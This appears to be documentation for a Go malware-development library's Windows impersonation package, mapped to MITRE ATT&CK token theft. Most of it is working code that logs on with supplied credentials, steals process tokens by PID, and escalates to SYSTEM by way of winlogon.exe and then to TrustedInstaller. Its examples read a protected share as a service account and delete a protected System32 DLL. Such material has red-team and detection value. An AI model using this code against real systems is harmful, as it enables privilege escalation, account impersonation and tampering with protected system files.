Thread Impersonation
MITRE ATT&CK: T1134.001 - Access Token Manipulation: Token Impersonation/Theft D3FEND: D3-TAAN - Token Authentication and Authorization Normalization
Primer
Token theft gives you a copy of someone else's badge. Thread impersonation goes further -- it lets a specific thread in your process temporarily wear that badge to perform actions as that user, then revert back to your original identity.
Temporarily wearing someone else's uniform for a specific task. You log in as another user (with their credentials), impersonate their identity on a locked OS thread, do the work, then call RevertToSelf() to become yourself again. The impersonation is scoped to a single thread and automatically cleaned up.
How It Works
Impersonation Flow
sequenceDiagram
participant Thread as "Locked OS Thread"
participant Win as "Windows API"
participant Callback as "callbackFunc()"
Thread->>Thread: runtime.LockOSThread()
Note over Thread: Thread pinned to OS thread
Thread->>Win: LogonUserW(user, domain, password)
Win-->>Thread: Token handle
Thread->>Win: EnableAllPrivileges(token)
Thread->>Win: ImpersonateLoggedOnUser(token)
Note over Thread: Thread now runs as<br>the impersonated user
Thread->>Callback: callbackFunc()
Note over Callback: All operations use<br>impersonated identity
Callback-->>Thread: return
Thread->>Win: RevertToSelf()
Note over Thread: Thread identity restored
Thread->>Thread: runtime.UnlockOSThread()
Thread->>Win: token.Close()
Why LockOSThread is Required
flowchart TD
subgraph "Without LockOSThread (BROKEN)"
A1["goroutine calls\nImpersonateLoggedOnUser"] --> A2["Go scheduler moves\ngoroutine to OS Thread 2"]
A2 --> A3["OS Thread 1 still impersonating\nOS Thread 2 is NOT impersonating"]
A3 --> A4["Operations use WRONG identity"]
end
subgraph "With LockOSThread (CORRECT)"
B1["goroutine calls\nruntime.LockOSThread()"] --> B2["goroutine calls\nImpersonateLoggedOnUser"]
B2 --> B3["Go scheduler CANNOT\nmove this goroutine"]
B3 --> B4["All operations on\nimpersonated OS thread"]
B4 --> B5["RevertToSelf()"]
B5 --> B6["runtime.UnlockOSThread()"]
end
style A4 fill:#f66,color:#fff
style B4 fill:#4a9,color:#fff
Usage
Basic Thread Impersonation
import "github.com/oioio-space/maldev/win/impersonate"
err := impersonate.ImpersonateThread(
false, // not domain-joined
".", // local machine
"admin", // username
"Password123!", // password
func() error {
// Everything in this callback runs as "admin"
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// Perform privileged operations here
return nil
},
)
Domain Impersonation
err := impersonate.ImpersonateThread(
true, // domain-joined
"CORP", // domain name
"svc_backup", // domain user
"BackupP@ss2024!", // password
func() error {
// Running as CORP\svc_backup
// Access network shares, domain resources, etc.
return nil
},
)
Low-Level: LogonUserW + ImpersonateLoggedOnUser
import (
"runtime"
"github.com/oioio-space/maldev/win/impersonate"
"github.com/oioio-space/maldev/win/token"
"golang.org/x/sys/windows"
)
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Log in as another user
t, err := impersonate.LogonUserW(
"admin", ".", "Password123!",
impersonate.LOGON32_LOGON_INTERACTIVE,
impersonate.LOGON32_PROVIDER_DEFAULT,
)
if err != nil {
log.Fatal(err)
}
wt := token.New(t, token.Impersonation)
defer wt.Close()
// Enable privileges on the token
wt.EnableAllPrivileges()
// Impersonate on this thread
impersonate.ImpersonateLoggedOnUser(wt.Token())
defer windows.RevertToSelf()
// Perform actions as the impersonated user
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Impersonating: %s\\%s\n", domain, user)
Combined Example: Impersonate + Access Protected Resource
package main
import (
"fmt"
"os"
"github.com/oioio-space/maldev/win/impersonate"
)
func main() {
// Check current identity
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Before: %s\\%s\n", domain, user)
// Impersonate a service account to read a protected file
err := impersonate.ImpersonateThread(
true, // domain account
"CORP",
"svc_fileserver",
"FileServ!2024",
func() error {
// Running as CORP\svc_fileserver
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("During: %s\\%s\n", domain, user)
// Read a file only accessible to svc_fileserver
data, err := os.ReadFile(`\\fileserver\share$\sensitive.dat`)
if err != nil {
return err
}
fmt.Printf("Read %d bytes from protected share\n", len(data))
return nil
},
)
if err != nil {
fmt.Println("Impersonation failed:", err)
}
// Back to original identity
user, domain, _ = impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("After: %s\\%s\n", domain, user)
}
Advantages & Limitations
Advantages
- Scoped impersonation:
ImpersonateThreadhandles LockOSThread + RevertToSelf automatically - Privilege escalation:
EnableAllPrivilegescalled on the token before impersonation - Domain support: Works with both local and domain accounts
- errgroup integration: Uses
golang.org/x/sync/errgroupfor clean error propagation - Thread safety:
runtime.LockOSThread()ensures impersonation stays on the correct OS thread
Limitations
- Requires credentials: Needs plaintext username and password (not a token)
- Logon type limitations:
LOGON32_LOGON_INTERACTIVErequires "Allow log on locally" right - Network logon restrictions: Local accounts cannot access network resources via type 2 logon
- Detectable:
LogonUserWcreates logon events (Event ID 4624) in the Security log - Single thread: Only the locked OS thread is impersonated -- other goroutines run as the original user
Composable Elevation
The impersonate package provides composable elevation primitives that chain
together: ImpersonateByPID is the building block, GetSystem uses it to
reach SYSTEM via winlogon.exe, and GetTrustedInstaller composes GetSystem
with the TrustedInstaller service to reach the highest privilege level.
All three follow the callback pattern -- the elevated identity is scoped to the callback and automatically reverted when it returns.
ImpersonateByPID
Steal and impersonate the token of any process by PID. Requires SeDebugPrivilege for cross-session processes.
import "github.com/oioio-space/maldev/win/impersonate"
// Impersonate the token of PID 1234
err := impersonate.ImpersonateByPID(1234, func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
return nil
})
GetSystem
Elevate to NT AUTHORITY\SYSTEM by stealing the winlogon.exe token. Requires admin + SeDebugPrivilege.
err := impersonate.GetSystem(func() error {
user, domain, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\\%s\n", domain, user)
// NT AUTHORITY\SYSTEM — full kernel-level access
return nil
})
GetTrustedInstaller
Elevate to NT SERVICE\TrustedInstaller -- the highest privilege level on
Windows. Internally composes GetSystem (to open the TI service process)
with ImpersonateByPID (to steal the TI token). Requires admin +
SeDebugPrivilege.
err := impersonate.GetTrustedInstaller(func() error {
user, _, _ := impersonate.ThreadEffectiveTokenOwner()
fmt.Printf("Running as: %s\n", user) // TrustedInstaller
// Modify protected system files, registry keys, etc.
return nil
})
Composition Example
// Chain: admin -> SYSTEM -> TrustedInstaller -> back to admin
// All within a single function call
err := impersonate.GetTrustedInstaller(func() error {
// Delete a protected system file
return os.Remove(`C:\Windows\System32\protected.dll`)
})
// Thread has reverted to original identity here
API Reference
Functions
// ImpersonateThread runs callbackFunc under alternate credentials on a locked OS thread.
func ImpersonateThread(isInDomain bool, domain, username, password string, callbackFunc func() error) error
// ImpersonateByPID impersonates the given process and runs fn under its identity.
func ImpersonateByPID(pid uint32, fn func() error) error
// GetSystem runs fn under NT AUTHORITY\SYSTEM context (via winlogon.exe token).
func GetSystem(fn func() error) error
// GetTrustedInstaller runs fn under NT SERVICE\TrustedInstaller context.
func GetTrustedInstaller(fn func() error) error
// LogonUserW logs in a user and returns a token handle.
func LogonUserW(username, domain, password string, logonType LogonType, logonProvider LogonProvider) (windows.Token, error)
// ImpersonateLoggedOnUser impersonates a token on the current thread.
func ImpersonateLoggedOnUser(t windows.Token) error
// ThreadEffectiveTokenOwner returns the user/domain of the current thread's effective token.
func ThreadEffectiveTokenOwner() (user string, domain string, err error)
Logon Types
const (
LOGON32_LOGON_INTERACTIVE LogonType = 2
LOGON32_LOGON_NETWORK LogonType = 3
LOGON32_LOGON_BATCH LogonType = 4
LOGON32_LOGON_SERVICE LogonType = 5
LOGON32_LOGON_NEW_CREDENTIALS LogonType = 9
)
See also
- Tokens area README
tokens/token-theft.md— supplies the stolen handle this primitive impersonates withtokens/privilege-escalation.md— once impersonated, adjust privileges on the new context